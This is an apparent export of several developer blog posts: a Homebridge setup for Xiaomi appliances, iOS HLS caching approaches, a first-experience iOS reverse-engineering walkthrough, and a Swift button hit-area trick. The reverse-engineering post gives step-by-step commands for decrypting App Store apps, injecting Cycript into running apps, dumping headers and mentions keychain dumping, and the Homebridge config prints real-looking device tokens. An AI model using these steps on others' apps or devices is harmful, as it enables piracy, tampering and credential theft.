\"name\":\"Homebridge\", \"username\":\"CC:22:3D:E3:CE:30\", \"port\":51826, \"pin\":\"123-45-568\" }, \"accessories\":[ { \"accessory\":\"MijiaCamera\", \"name\":\"Mi Camera\", \"ip\":\"\", \"token\":\"\" } ]}accessories: Add the configuration information of the Mijia camera, with the ip field filled with the camera’s IP and the token field filled with the token taught in the previous tutorial. Remember to save the file!Then, follow the Homebridge section tutorial to start/restart/scan and add to Homebridge; you will be able to see the camera control items in the “Home” APP.Controllable items: Camera on/off2. Mi Home DC Variable Frequency FanIn Terminal, install the homebridge-mi-fan homebridge plugin (without sudo):npm install -g homebridge-mi-fanRefer to the previous tutorial on modifying the configuration file (config.json), and add the platforms block in the file (if it already exists, add a sub-block within the block using a comma) :{ \"bridge\":{ \"name\":\"Homebridge\", \"username\":\"CC:22:3D:E3:CE:30\", \"port\":51826, \"pin\":\"123-45-568\" }, \"platforms\":[ { \"platform\":\"MiFanPlatform\", \"deviceCfgs\":[ { \"type\":\"MiDCVariableFrequencyFan\", \"ip\":\"\", \"token\":\"\", \"fanName\":\"room fan\", \"fanDisable\":false, \"temperatureName\":\"room temperature\", \"temperatureDisable\":true, \"humidityName\":\"room humidity\", \"humidityDisable\":true, \"buzzerSwitchName\":\"fan buzzer switch\", \"buzzerSwitchDisable\":true, \"ledBulbName\":\"fan led switch\", \"ledBulbDisable\":true } ] } ]}platforms: Add Mi Home fan configuration information, input the camera’s IP in the ip field, input the token from the previous tutorial in the token field, and control whether to display temperature and humidity information with humidity/temperature.The type must be the corresponding model text, supporting four different fan models: ZhiMi DC Variable Frequency Floor Fan: ZhiMiDCVariableFrequencyFan ZhiMi Natural Wind Fan: ZhiMiNaturalWindFan Mi Home DC Variable Frequency: MiDCVariableFrequencyFan (sold in Taiwan) Mi Home Fan: DmakerFanPlease input your own fan model. Remember to save the file!Then, as taught in the Homebridge section, start/restart/scan to add to Homebridge; you will be able to see the camera control items in the “Home” APP.Controllable items: Fan on/off, wind speed adjustment3. Xiaomi Air Purifier 3In Terminal, install the homebridge-xiaomi-air-purifier3 homebridge plugin (without sudo):npm install -g homebridge-xiaomi-air-purifier3Refer to the previous tutorial on modifying the configuration file (config.json), and add the accessories block in the file (if it already exists, add a sub-block within the block using a comma) :{ \"bridge\":{ \"name\":\"Homebridge\", \"username\":\"CC:22:3D:E3:CE:30\", \"port\":51826, \"pin\":\"123-45-568\" }, \"accessories\":[ { \"accessory\":\"XiaomiAirPurifier3\", \"name\":\"Xiaomi Air Purifier\", \"did\":\"\", \"ip\":\"\", \"token\":\"\", \"pm25_breakpoints\":[ 5, 12, 35, 55 ] } ]}accessories: Add Mi Home fan configuration information, ip should be the camera ip, token should be the token taught in the previous tutorial, did should be zdid Remember to save!Then follow the Homebridge section instructions to start/restart/scan and add to Homebridge; you will be able to see the camera control items in the “Home” APP.Controllable items: Air purifier switch, wind speed adjustmentViewable items: Current temperature and humidity4. Mi Home LED Smart Desk LampIn Terminal, install the homebridge-yeelight-wifi homebridge plugin (without sudo):npm install -g homebridge-yeelight-wifiRefer to the previous tutorial on modifying the configuration file (config.json), and add the platforms block in the file (if it already exists, add a sub-block with a comma inside the block) :{ \"bridge\":{ \"name\":\"Homebridge\", \"username\":\"CC:22:3D:E3:CE:30\", \"port\":51826, \"pin\":\"123-45-568\" }, \"platforms\":[ { \"platform\":\"yeelight\", \"name\":\"Yeelight\" } ]}No need to pass any special parameters! For more detailed settings, refer to the official documentation (such as brightness/color temperature…) Remember to save!The smart desk lamp also needs to be re-bound to the Yeelight APP, and then turn on “Local Network Control” to allow Homebridge to control it. Download and install the Yeelight APP on your iPhoneSearch “Yeelight” in the App Store and installAfter installation, open the Yeelight APP -> “Add Device” -> Find “Mi Home Desk Lamp” -> Re-pair and bindRemember to turn on “ Local Network Control “ *If you accidentally didn’t turn it on, you can go to the “Device” page -> Select the desk lamp device -> Click the bottom right “△” Tab -> Click “Local Network Control” to enter settings -> Turn on Local Network Control A little complaint, this is really bad, the Mi Home APP itself does not have this switch function, you must bind it to the Yeelight APP, and you cannot unbind or rebind it back to Mi Home… otherwise it will fail.Then follow the Homebridge section instructions to start/restart/scan and add to Homebridge; you will be able to see the camera control items in the “Home” APP.Controllable items: Light switch, color temperature adjustment, brightness adjustmentOther Mijia smart home appliances homebridge plugins:My final config.json looks like this:{ \"bridge\":{ \"name\":\"Homebridge\", \"username\":\"CC:22:3D:E3:CE:30\", \"port\":51826, \"pin\":\"123-45-568\" }, \"accessories\":[ { \"accessory\":\"MijiaCamera\", \"name\":\"Mi Camera\", \"ip\":\"192.168.0.105\", \"token\":\"6d304e6867384b704b4f714d45314a34\" }, { \"accessory\":\"XiaomiAirPurifier3\", \"name\":\"Xiaomi Air Purifier\", \"did\":\"270033668\", \"ip\":\"192.168.0.108\", \"token\":\"5c3eeb03065fd8fc6ad10cae1f7cce7c\", \"pm25_breakpoints\":[ 5, 12, 35, 55 ] } ], \"platforms\":[ { \"platform\":\"MiFanPlatform\", \"deviceCfgs\":[ { \"type\":\"MiDCVariableFrequencyFan\", \"ip\":\"192.168.0.106\", \"token\":\"dd1b6f582ba6ce34f959bbbc1c1ca59f\", \"fanName\":\"room fan\", \"fanDisable\":false, \"temperatureName\":\"room temperature\", \"temperatureDisable\":true, \"humidityName\":\"room humidity\", \"humidityDisable\":true, \"buzzerSwitchName\":\"fan buzzer switch\", \"buzzerSwitchDisable\":true, \"ledBulbName\":\"fan led switch\", \"ledBulbDisable\":true } ] }, { \"platform\":\"yeelight\", \"name\":\"Yeelight\" } ]}For your reference!The Mijia appliances I used are as taught above. I didn’t try the ones I don’t have. You can search on npm (homebridge-plugin XXX English name) and follow the similar logic to install and configure them!Here are some homebridge plugins I found but haven’t tried (no guarantee they work): Xiaomi Air Purifier 1st Gen: homebridge-mi-air-purifier Mijia Smart Plug Series: homebridge-mi-outlet Xiaomi Robot Vacuum: homebridge-mi-robot_vacuum Mijia Smart Gateway: homebridge-mi-aqaraTips It is recommended to set all Mi Home appliances to a specified/reserved IP on the router, otherwise the IP address may change, and you will need to reconfigure the config.json settings. If you find that all steps are correct but errors still occur or it keeps showing “No Response” on HomeKit, you can try again; if the issue persists, it may indicate that the plugin is no longer valid, and you need to find another plugin to connect. (You can check the GitHub issue) Function failure, slow response; this is also unsolvable, you can post an issue to inform the author and wait for an update. Since it is an open-source project, you cannot demand too much! After binding each appliance, you can start Homebridge once and then check on your iPhone to see if it works. If it does, you can terminate it with “Control” + “C”; after binding all appliances, you can restart the Raspberry Pi to let it automatically start the Homebridge service in the background after rebooting; this is what we want.ConclusionAdditionally, you can go to “Settings” -> “Control Center” -> “Customize” to add the “Home” app, allowing you to quickly operate HomeKit from the drop-down control center!After connecting everything to HomeKit, the only word is “Awesome”! The response to switching is faster, the only downside is that I don’t have a home hub, so I can’t control it remotely. This concludes the advanced Homebridge tutorial, thank you for reading.Back to the beginning of the article, after adding everything to HomeKit, we can seamlessly use the iOS ≥ 13 Shortcuts automation feature.Do you want to study how the Homebridge plugin is made? It seems very interesting! So if there is a HomeBridge plugin that doesn’t meet your operational needs or a plugin is broken and you can’t find a replacement, just wait for me to study it!Home assistantThere is another smart home platform Homeassistant that can be flashed into the Raspberry Pi for use (Note: A 2A power supply is required to start); I also installed Homeassistant to play with. It has a full GUI interface, and you can connect appliances with just a few clicks; I will study it in-depth later. It feels like another Mi Home platform, but if you have many different manufacturers’ IoT components, it is more suitable to use this.References https://www.domoticz.cn/forum/viewtopic.php?t=52 https://or2.in/2017/07/02/Homekit-and-MiJia-with-pi/#3-%E5%8F%B7%E5%A4%96-%E5%BC%80%E5%90%AF%E5%8F%AF%E8%A7%86%E5%8C%96VNCFurther Reading New Additions to Xiaomi Smart Home (AI Speaker, Temperature and Humidity Sensor, Scale 2, DC Inverter Fan) Using “Shortcuts” Automation Feature with Mi Home Smart Home on iOS ≥ 13.1 (Directly using the built-in Shortcuts app on iOS ≥ 13.1 for automation) Mi Home App / Xiao Ai Speaker Region Issues First Experience with Smart Home — Apple HomeKit & Xiaomi Mi Home (Mi Home Smart Camera and Mi Home Smart Desk Lamp, HomeKit Setup Tutorial)If you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Exploring Methods for Implementing iOS HLS Cache", "url": "/posts/d796bf8e661e/", "categories": "ZRealm, Dev.", "tags": "hls, ios, ios-app-development, cache, reverse-proxy", "date": "2020-04-09 01:12:17 +0800", "snippet": "Exploring Methods for Implementing iOS HLS CacheHow to achieve caching while playing m3u8 streaming video files using AVPlayerphoto by Mihis Alex[2023/03/12] Update The next article, “Comprehensiv...", "content": "Exploring Methods for Implementing iOS HLS CacheHow to achieve caching while playing m3u8 streaming video files using AVPlayerphoto by Mihis Alex[2023/03/12] Update The next article, “Comprehensive Guide to Implementing Local Cache with AVPlayer”, teaches you how to achieve AVPlayer cachingI have open-sourced my previous implementation, and those in need can use it directly. Customizable cache strategy, you can use PINCache or others… Externally, you only need to call the make AVAsset factory, input the URL, and the AVAsset will support caching Implemented data flow strategy using Combine Wrote some testsAboutHTTP Live Streaming (HLS) is a streaming media network transmission protocol based on HTTP proposed by Apple.For example, when playing music, in a non-streaming situation, we use mp3 as the music file. The larger the file, the longer it takes to download completely before it can be played. HLS, on the other hand, splits a file into multiple small files, playing as it reads. So, once the first segment is received, playback can start without downloading the entire file!The .m3u8 file records the bitrate, playback order, time, and other information of these segmented .ts small files. It can also provide encryption and decryption protection, low-latency live streaming, etc.Example of an .m3u8 file (aviciiwakemeup.m3u8):#EXTM3U#EXT-X-VERSION:3#EXT-X-ALLOW-CACHE:YES#EXT-X-TARGETDURATION:10#EXT-X-MEDIA-SEQUENCE:0#EXTINF:9.900411,aviciiwakemeup–00001.ts#EXTINF:9.900400,aviciiwakemeup–00002.ts#EXTINF:9.900411,aviciiwakemeup–00003.ts#EXTINF:9.900411,...#EXTINF:6.269389,aviciiwakemeup-00028.ts#EXT-X-ENDLIST*EXT-X-ALLOW-CACHE has been deprecated in iOS≥ 8/Protocol Ver.7. Whether this line is present or not is meaningless.GoalFor a streaming media service, Cache is extremely important; because each audio file can range from a few MBs to several GBs. If every replay requires fetching the file from the server again, it would be very taxing on the server’s loading, and the traffic costs are \\(\\). Having a Cache layer can save a lot of money for the service, and users won’t have to waste bandwidth and time re-downloading; it’s a win-win mechanism (but remember to set limits/clear periodically to avoid filling up the user’s device).ProblemIn the past, when not dealing with streaming, handling mp3/mp4 was straightforward: download the file to the device before playing, and start playback only after the download is complete. Since the file has to be fully downloaded before playback anyway, we might as well use URLSession to download the file and then feed the local file path (file://) to AVPlayer for playback. Alternatively, the formal way is to use AVAssetResourceLoaderDelegate to cache the downloaded data in the delegate methods.For streaming, the idea is also quite straightforward: first read the .m3u8 file, then parse the information inside, and cache each .ts file. However, implementing this turned out to be more complicated than I imagined, which is why this article exists!For playback, we still use iOS AVFoundation’s AVPlayer directly. There is no difference in operation between streaming and non-streaming files.Example:let url: URL = URL(string: \"https://zhgchg.li/aviciiwakemeup.m3u8\")var player: AVPlayer = AVPlayer(url: url)player.play()2021–01–05 Update:We decided to revert to using mp3 files, so we can directly use AVAssetResourceLoaderDelegate for implementation. For detailed implementation, refer to “AVPlayer Streaming Cache Implementation”.Implementation SolutionsSeveral solutions to achieve our goal and the issues encountered during implementation.Solution 1. AVAssetResourceLoaderDelegate ❌The first thought was to follow the same approach as with mp3/mp4 files: use AVAssetResourceLoaderDelegate to cache .ts files in the delegate methods.Unfortunately, this approach doesn’t work because we can’t intercept the download request information for .ts files in the delegate. This is confirmed in this Q&A and the official documentation.For AVAssetResourceLoaderDelegate implementation, refer to “AVPlayer Streaming Cache Implementation”.Solution 2.1 URLProtocol Intercept Requests ❌URLProtocol is a method I recently learned. All requests based on the URL Loading System (URLSession, API calls, image downloads, etc.) can be intercepted to modify the Request and Response before returning them, making it seem like nothing happened. For more on URLProtocol, refer to this article.Using this method, we planned to intercept AVFoundation AVPlayer’s requests for .m3u8 and .ts files. If there is a local cache, return the cached data directly; otherwise, send the request out. This would achieve our goal.Again, unfortunately, this approach doesn’t work either because AVFoundation AVPlayer’s requests are not on the URL Loading System, so we can’t intercept them.*Some say it works on the simulator but not on the actual deviceSolution 2.2 Force it into URLProtocol ❌Based on Solution 2.1, a brute-force method: if I change the request URL to a custom scheme (e.g., streetVoiceCache://), AVFoundation won’t be able to handle this request and will throw it out, allowing our URLProtocol to intercept and do what we want.let url: URL = URL(string: \"streetVoiceCache://zhgchg.li/aviciiwakemeup.m3u8?originScheme=https\")var player: AVPlayer = AVPlayer(url: url)player.play()URLProtocol will intercept streetVoiceCache://zhgchg.li/aviciiwakemeup.m3u8?originSchme=https, at this point, we just need to restore it to the original URL, then send a URLSession request to fetch the data and handle the cache ourselves here; the .ts file requests in the m3u8 will also be intercepted by URLProtocol, and similarly, we can handle the cache ourselves here.Everything seemed perfect, but when I excitedly Build-Run the APP, Apple slapped me in the face:Error: 12881 “CoreMediaErrorDomain custom url not redirect”It doesn’t accept the Response Data for the .ts file Request I provided. I can only use the urlProtocol:wasRedirectedTo method to redirect to the original Https request to play normally, even if I download the .ts file locally and then redirectTo that file:// file; it still doesn’t accept it. Checking the official forum revealed that this approach is not allowed; .m3u8 can only originate from Http/Https (so even if you put the entire .m3u8 and all segmented files .ts locally, you can’t use file:// to play with AVPlayer), and .ts cannot use URLProtocol to provide Data.fxxk…Solution 2.2–2 Same as Solution 2.2 but with Solution 1 AVAssetResourceLoaderDelegate to implement ❌Implementation is the same as Solution 2.2, feeding AVPlayer a custom Scheme to enter AVAssetResourceLoaderDelegate; then we handle it ourselves.Same result as 2.2:Error: 12881 “CoreMediaErrorDomain custom url not redirect”Official forum gave the same answer.It can be used for decryption processing (refer to this article or this example) but still cannot achieve Cache functionality.Solution 3. Reverse Proxy Server ⍻ (Feasible, but not perfect)This method is the most commonly suggested solution when looking for ways to handle HLS Cache; it involves setting up an HTTP Server on the APP to act as a Reverse Proxy Server.The principle is simple, set up an HTTP Server on the APP, assuming it’s on port 8080, the URL would be http://127.0.0.1:8080/; then we can handle the incoming Requests and provide Responses.Applying this to our case, change the request URL to: http://127.0.0.1:8080/aviciiwakemeup.m3u8?origin=http://zhgchg.li/In the HTTP Server’s Handler, intercept and handle *.m3u8, when a Request comes in, it will enter our Handler, and we can do whatever we want, control what Data to Response, and the .ts files will also come in; here we can implement our desired Cache mechanism.For AVPlayer, it’s just a standard http://.m3u8 streaming audio file, so there won’t be any issues.For a complete implementation example, refer to:Because I also referred to this example, I also used GCDWebServer for the Local HTTP Server part. Additionally, there is a newer Telegraph available for use. ( CocoaHttpServer hasn’t been updated for a long time, so it’s not recommended anymore)Looks good! But there’s a problem:Our service is music streaming rather than a video playback platform. In many cases, users switch music in the background; will the Local HTTP Server still be there then?GCDWebServer’s documentation states that it will automatically disconnect when entering the background and automatically resume when returning to the foreground. However, you can disable this mechanism by setting the parameter GCDWebServerOption_AutomaticallySuspendInBackground:false.But in practice, if no requests are sent for a period of time, the server will still disconnect (and the status will be incorrect, still showing as isRunning), which feels like it was killed by the system. After delving into the HTTP Server approach, I found that the underlying layer is based on sockets. According to the official documentation on socket services, this issue cannot be resolved. The system will suspend it when there are no new connections in the background.*There are some convoluted methods found online… like sending a long request or continuously sending empty requests to ensure the server is not suspended by the system in the background.All of the above applies to the app being in the background. When in the foreground, the server is very stable and won’t be suspended due to idleness, so there’s no such issue!Since it relies on other services, even if there are no issues in the development environment, it is recommended to implement a rollback mechanism in actual applications (AVPlayer.AVPlayerItemFailedToPlayToEndTimeErrorKey notification); otherwise, if the service crashes, the user will be stuck.So it's not perfect...Solution 4. Use the HTTP Client’s caching mechanism ❌Our .m3u8/.ts files’ Response Headers all provide Cache-Control, Age, eTag… these HTTP Client Cache information. Our website’s cache mechanism works perfectly on Chrome, and the new official Protocol Extension for Low-Latency HLS preliminary specification also mentions that cache-control headers can be set for caching.But in practice, AVFoundation AVPlayer does not have any HTTP Client Caching effect, so this route is also a dead end! Pure wishful thinking.Solution 5. Do not use AVFoundation AVPlayer to play audio files ✔Implement audio file parsing, caching, encoding, and playback functionality yourself.This is too hardcore, requiring very deep technical skills and a lot of time; not researched.Here is an open-source player for reference: FreeStreamer. If you really choose this solution, it’s better to stand on the shoulders of giants and directly use third-party libraries.Solution 5-1. Do not use HLSSame as Solution 5, too hardcore, requiring very deep technical skills and a lot of time; not researched.Solution 6. Convert .ts segment files to .mp3/.mp4 files ✔Not researched, but indeed feasible. However, it sounds complicated, having to process the downloaded .ts files, convert them individually to .mp3 or .mp4 files, and then play them in order or compress them into one file or something. It just doesn’t sound easy to do.Interested parties can refer to this article.Solution 7. Download the complete file before playing ⍻This method cannot be precisely called “caching while playing.” It actually involves downloading the entire audio file content before starting playback. If it is .m3u8, as mentioned in Solution 2.2, it cannot be directly downloaded and played locally.To implement this, you need to use the iOS ≥ 10 API AVAssetDownloadTask.makeAssetDownloadTask, which will actually package the .m3u8 into .movpkg and store it locally for user playback.This is more like offline playback rather than caching.Additionally, users can view and manage the downloaded packaged audio files from “Settings” -> “General” -> “iPhone Storage” -> APP.Below is the downloaded video sectionFor detailed implementation, refer to this example:ConclusionThe exploration journey above took almost a whole week, going around in circles, almost driving me crazy. Currently, there is no reliable and easy-to-deploy method.If there are new ideas, I will update!References iOS Audio Playback (Nine): Caching While Playing StyleShare/HLSCachingReverseProxyServerIf you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "First Experience with iOS Reverse Engineering", "url": "/posts/7498e1ff93ce/", "categories": "ZRealm, Dev.", "tags": "ios, ios-app-development, hacking, jailbreak, security", "date": "2020-03-28 18:24:40 +0800", "snippet": "First Experience with iOS Reverse EngineeringExploring the process from jailbreaking, extracting iPA files, shelling, to UI analysis, injection, and decompilationAbout SecurityThe only thing I did ...", "content": "First Experience with iOS Reverse EngineeringExploring the process from jailbreaking, extracting iPA files, shelling, to UI analysis, injection, and decompilationAbout SecurityThe only thing I did related to security before was « Using Man-in-the-Middle Attack to Sniff Transmission Data »; additionally, following this, suppose we encode and encrypt data before transmission and decrypt it within the APP upon receipt to prevent man-in-the-middle sniffing; is it still possible for the data to be stolen? The answer is yes! Even if you haven’t actually tested it; there is no unbreakable system in the world, only the issue of time and cost. When the time and effort required to crack it exceed the benefits, it can be considered secure!How?Having done all this, how can it still be broken? This is the topic I want to document in this article — “Reverse Engineering”, cracking open your APP to study how you do encryption and decryption. I’ve always been somewhat clueless about this field, only hearing two major talks at iPlayground 2019, where I roughly understood the principles and implementation. Recently, I had the chance to play around with it and share it with everyone!What can you do with reverse engineering? View APP UI layout and structure Obtain APP resource directories .assets/.plist/icon… Modify APP functions and repackage (EX: remove ads) Decompile to infer original source code and obtain business logic information Dump .h header files / keychain contentsImplementation EnvironmentmacOS Version: 10.15.3 CatalinaiOS Version: iPhone 6 (iOS 12.4.4 / Jailbroken) *RequiredCydia: Open SSHJailbreakingAny version of iOS, iPhone can be used, as long as it is a jailbreakable device. It is recommended to use an old phone or a development device to avoid unnecessary risks. You can refer to Mr. Crazy’s Jailbreak Tutorial based on your phone and iOS version. If necessary, you may need to downgrade iOS (Certification Status Check) before jailbreaking.I used an old iPhone 6 for testing. It was originally upgraded to iOS 12.4.5, but I found that 12.4.5 couldn’t be jailbroken successfully. So, I downgraded to 12.4.4 and used checkra1n to jailbreak successfully!The steps are not many and not difficult; it just requires some waiting time!A silly experience of mine: After downloading the old IPSW file, connect the phone to the Mac, use Finder (macOS 10.5 and later no longer have iTunes), select the phone under Locations on the left, and in the phone information screen, hold “Option” and then click “Restore iPhone” to bring up the IPSW file selection window. Choose the old IPSW file you just downloaded to complete the downgrade. I foolishly clicked Restore iPhone directly… it only wasted time reinstalling the latest version…Using lookin tool to view other people’s APP UI layoutLet’s start with something interesting, using tools and a jailbroken phone to see how others layout their APP.Viewing tools: One is the veteran Reveal (more complete features, costs about $60 USD/can be tried), and the other is the free open-source tool lookin made by Tencent QMUI Team. Here, we use lookin as a demonstration; Reveal is similar. If you don’t have a jailbroken phone, it’s okay. This tool is mainly for use in development projects to view Debug layouts (replacing Xcode’s basic inspector). It can also be used in regular development! Only when you want to view someone else’s APP do you need a jailbroken phone.If you want to view your own project…You can choose to install using CocoaPods, Breakpoint Injection (only supports simulators), manually import the Framework into the project, or manual setup.After building and running the project, you can select the APP screen in the Lookin tool -> view the layout structure.If you want to view someone else’s APP…Step 1. Open “ Cydia “ on the jailbroken phone -> search for “ LookinLoader “ -> “ Install “ -> go back to the phone “ Settings “ -> “ Lookin “ -> “ Enabled Applications “ -> enable the APP you want to view.Step 2. Use a cable to connect the phone to the Mac computer -> open the APP you want to view -> go back to the computer, select the APP screen in the Lookin tool -> you can view the layout structure.Lookin View Layout StructureFacebook login screen layout structureYou can view the View Hierarchy in the left sidebar and dynamically modify the selected object in the right sidebar.The original “Create New Account” was changed to “Hahaha” by meModifications to the object will also be displayed in real-time on the mobile APP, as shown above.Just like the “F12” developer tools for web pages, all modifications are only effective for the View and will not affect the actual data; mainly used for Debugging, but you can also use it to change values, take screenshots, and then trick your friends XD.Using the Reveal tool to view APP UI layout structureAlthough Reveal requires a paid subscription, I personally prefer Reveal; it provides more detailed information on the structure, and the right information panel is almost equivalent to the XCode development environment, allowing for real-time adjustments. Additionally, it will prompt Constraint Errors, which is very helpful for UI layout corrections!Both of these tools are very helpful in the daily development of your own APP! After understanding the process environment and the interesting parts, let’s get to the main topic! *The following requires a jailbroken phoneExtracting APP .ipa files & CrackingAll APPs installed from the App Store have FairPlay DRM protection, commonly known as shell protection. Removing this protection is called “cracking,” so simply extracting the .ipa from the App Store is meaningless and unusable.*Another tool, APP Configurator 2, can only extract protected files, which is meaningless, so it won’t be elaborated here. Those interested in using this tool can click here for a tutorial.Using tools + jailbroken phone to extract the original cracked .ipa file:Regarding the tools, initially, I used Clutch, but no matter how I tried, it always showed FAILED. After checking the project’s issues, I found that many people had the same problem. It seems that this tool can no longer be used on iOS ≥ 12. There is also an old tool called dumpdecrypted, but I haven’t looked into it.Here, I use frida-ios-dump, a Python tool for dynamic binary dumping, which is very convenient to use!First, let’s prepare the environment on the Mac: The Mac comes with Python 2.7 by default. This tool supports Python 2.X/3.X, so there’s no need to install Python separately. However, I used Python 3.X for the operation. If you encounter issues with Python 2.X, you might want to install and use Python 3! Install pip (Python’s package manager). Use pip to install frida:sudo pip install frida --upgrade --ignore-installed six (Python 2.X)sudo pip3 install frida --upgrade --ignore-installed six (Python 3.X) Enter frida-ps in Terminal. If there are no error messages, the installation was successful! Clone the AloneMonkey/frida-ios-dump project. Enter the project and open the dump.py file with a text editor. Ensure the SSH connection settings are correct (no need to change the default settings):User = ‘root’Password = ‘alpine’Host = ‘localhost’Port = 2222Environment on the jailbroken phone: Install Open SSH: Cydia → Search → Open SSH → Install Install the Frida source: Cydia → Sources → Top right “Edit” → Top left “Add” → https://build.frida.re Install Frida: Cydia → Search → Frida → Install the corresponding tool according to the phone’s processor version (e.g., I have an iPhone 6 A11, so I installed Frida for pre-A12 devices).Once the environment is set up, let’s get started: Connect the phone to the computer using a USB cable. Open a Terminal on the Mac and enter iproxy 2222 22 to start the server. Ensure the phone/computer are on the same network (e.g., connected to the same WiFi). Open another Terminal and enter ssh root@127.0.0.1, then enter the SSH password (default is alpine). Open another Terminal to execute the dumping command. Navigate to the cloned /frida-ios-dump directory.Enter dump.py -l to list the installed/running apps on the phone. Find the name/Bundle ID of the app you want to dump and enter:dump.py APP_NAME_OR_BUNDLE_ID -o OUTPUT_PATH/OUTPUT_FILENAME.ipaBe sure to specify the output path/filename because the default output path is /opt/dump/frida-ios-dump/. To avoid moving it to /opt/dump, specify the output path to avoid permission errors. After a successful output, you can obtain the cracked .ipa file! The phone must be unlocked to use the tool. If connection errors occur, such as reset by peer, try unplugging and replugging the USB connection or restarting iproxy. Rename the .ipa file directly to a .zip file, then right-click to extract the file.You will see /Payload/APP_NAME.appWith the original APP file, we can…1. Extract the APP’s resource directoryRight-click on APP_NAME.app → “Show Package Contents” to see the APP’s resource directory.2. Use class-dump to extract the APP’s .h header file informationUse the class-dump tool to export all the APP’s (including Framework) .h header file information (only for Objective-C, not effective for Swift projects).nygard/class-dump I tried using this tool but failed repeatedly; eventually, I succeeded using the rewritten class-dump tool from AloneMonkey / MonkeyDev. Download the tool directly from here: MonkeyDev/bin/class-dump Open Terminal and use:./class-dump -H APP_PATH/APP_NAME.app -o OUTPUT_PATHAfter a successful dump, you can obtain the entire APP’s .h information.4. The final and most difficult step — decompilationYou can use decompilation tools like IDA and Hopper for analysis. Both are paid tools, but Hopper offers a free trial (30 minutes per session).Drag the obtained APP_NAME.app file directly into Hopper to start the analysis.However, this is where I stopped, as it requires studying machine code, using class-dump results to infer methods, etc.; it requires very deep skills!After breaking through the decompilation, you can modify the operation and repackage it into a new APP.Image from One PieceOther tools for reverse engineering1. Using the free MITM Proxy tool to sniff API network request information »The APP uses HTTPS transmission, but the data was still stolen.2. Cycript (with a jailbroken phone) dynamic analysis/injection tool: Open “Cydia” on the jailbroken phone -> search for “Cycript” -> “Install” Open a Terminal on the computer and use Open SSH to connect to the phone, ssh root@PHONE_IP (default is alpine) Open the target APP (keep the APP in the foreground) In Terminal, enter ps -e | grep APP Bundle ID to find the running APP Process ID Use cycript -p Process ID to inject the tool into the running APPYou can use Objective-C/Javascript for debugging control.For Example:// Objective-C code blockcy# alert = [[UIAlertView alloc] initWithTitle:@\"HIHI\" message:@\"ZhgChg.li\" delegate:nil cancelButtonTitle:@\"Cancel\" otherButtonTitles:nl]cy# [alert show]Injecting a UIAlertViewController… chose( ) : Get target UIApp.keyWindow.recursiveDescription( ).toString( ) : Display view hierarchy structure information new Instance(memory location): Get object exit(0) : ExitFor detailed operations, refer to this article.3. Lookin / Reveal View UI Layout ToolsPreviously introduced, recommending again; also very useful in daily development of your own projects, suggest purchasing and using Reveal.4. MonkeyDev Integration Tool for dynamically injecting and modifying APPs and repackaging them into new APPs5. ptoomey3 / Keychain-Dumper for exporting KeyChain contentFor detailed operations, refer to this article, but I didn’t succeed. Looking at the project issues, it seems to have become ineffective since iOS ≥ 12.SummaryThis field is a super big pit, requiring a lot of technical knowledge to master; this article just gives a superficial “experience” of what reverse engineering feels like. Apologies for any shortcomings! For academic research only, do not do bad things; personally, I find the whole process and tools quite interesting and it gives a better understanding of APP security!For any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "iOS Expand Button Click Area", "url": "/posts/a8c2d7ed144b/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, swift, small-things-matter, uikit, ios", "date": "2020-02-01 21:45:49 +0800", "snippet": "iOS Expand Button Click AreaRewrite pointInside to expand the touch areaIn daily development, it is often encountered that after arranging the UI according to the design, the screen looks beautiful...", "content": "iOS Expand Button Click AreaRewrite pointInside to expand the touch areaIn daily development, it is often encountered that after arranging the UI according to the design, the screen looks beautiful, but the actual operation shows that the button’s touch area is too small, making it difficult to click accurately; especially unfriendly to people with thick fingers.Completed ExampleBefore…Initially, I didn’t delve deeply into this issue and directly overlaid a larger transparent UIButton on the original button, using this transparent button to respond to events. This approach was very cumbersome and difficult to control when there were many components.Later, I solved it by layout, setting the button to align 0 (or lower) on all sides during layout, and then controlling the imageEdgeInsets, titleEdgeInsets, and contentEdgeInsets parameters to push the Icon/button title to the correct position in the UI design. However, this method is more suitable for projects using Storyboard/xib because you can directly push the layout in Interface Builder. Additionally, the designed Icon should ideally have no spacing, otherwise, it will be difficult to align, sometimes stuck at that 0.5 distance, no matter how you adjust it, it won’t align.After…As the saying goes, “seeing more broadens the mind.” Recently, after encountering a new project, I learned a small trick; you can increase the event response range in UIButton’s pointInside. By default, it is UIButton’s Bounds, but we can extend the Bounds size inside to make the button’s clickable area larger!Based on the above idea, we can:class MyButton: UIButton { var touchEdgeInsets:UIEdgeInsets? override open func point(inside point: CGPoint, with event: UIEvent?) -> Bool { var frame = self.bounds if let touchEdgeInsets = self.touchEdgeInsets { frame = frame.inset(by: touchEdgeInsets) } return frame.contains(point); }}Customize a UIButton, adding the touchEdgeInsets public property to store the range to be expanded, making it convenient for us to use; then override the pointInside method to implement the above idea.Usage:import UIKitclass MusicViewController: UIViewController { @IBOutlet weak var playerButton: MyButton! override func viewDidLoad() { super.viewDidLoad() playerButton.touchEdgeInsets = UIEdgeInsets(top: -10, left: -10, bottom: -10, right: -10) } }Play Button/Blue is the original click area/Red is the expanded click areaWhen using, just remember to set the Button’s Class to our custom MyButton, and then you can expand the click area for individual Buttons by setting touchEdgeInsets! ️⚠️⚠️⚠️⚠️️️️⚠️️️️ When using Storyboard/xib, remember to set Custom Class to MyButton ⚠️⚠️⚠️⚠️⚠️ touchEdgeInsets extends outward from the center of (0,0) itself, so the distances for top, bottom, left, and right should be negative numbers.Looks good… but:Replacing every UIButton with a custom MyButton is quite cumbersome and increases the complexity of the program. It might even cause conflicts in large projects.For functionalities that we believe all UIButtons should inherently have, if possible, we would prefer to directly extend the original UIButton:private var buttonTouchEdgeInsets: UIEdgeInsets?extension UIButton { var touchEdgeInsets:UIEdgeInsets? { get { return objc_getAssociatedObject(self, &buttonTouchEdgeInsets) as? UIEdgeInsets } set { objc_setAssociatedObject(self, &buttonTouchEdgeInsets, newValue, .OBJC_ASSOCIATION_RETAIN_NONATOMIC) } } override open func point(inside point: CGPoint, with event: UIEvent?) -> Bool { var frame = self.bounds if let touchEdgeInsets = self.touchEdgeInsets { frame = frame.inset(by: touchEdgeInsets) } return frame.contains(point); }}Use it as described in the previous usage example.Since Extensions cannot contain properties or it will cause a compilation error “Extensions must not contain stored properties”, we refer to Using Property with Associated Object to 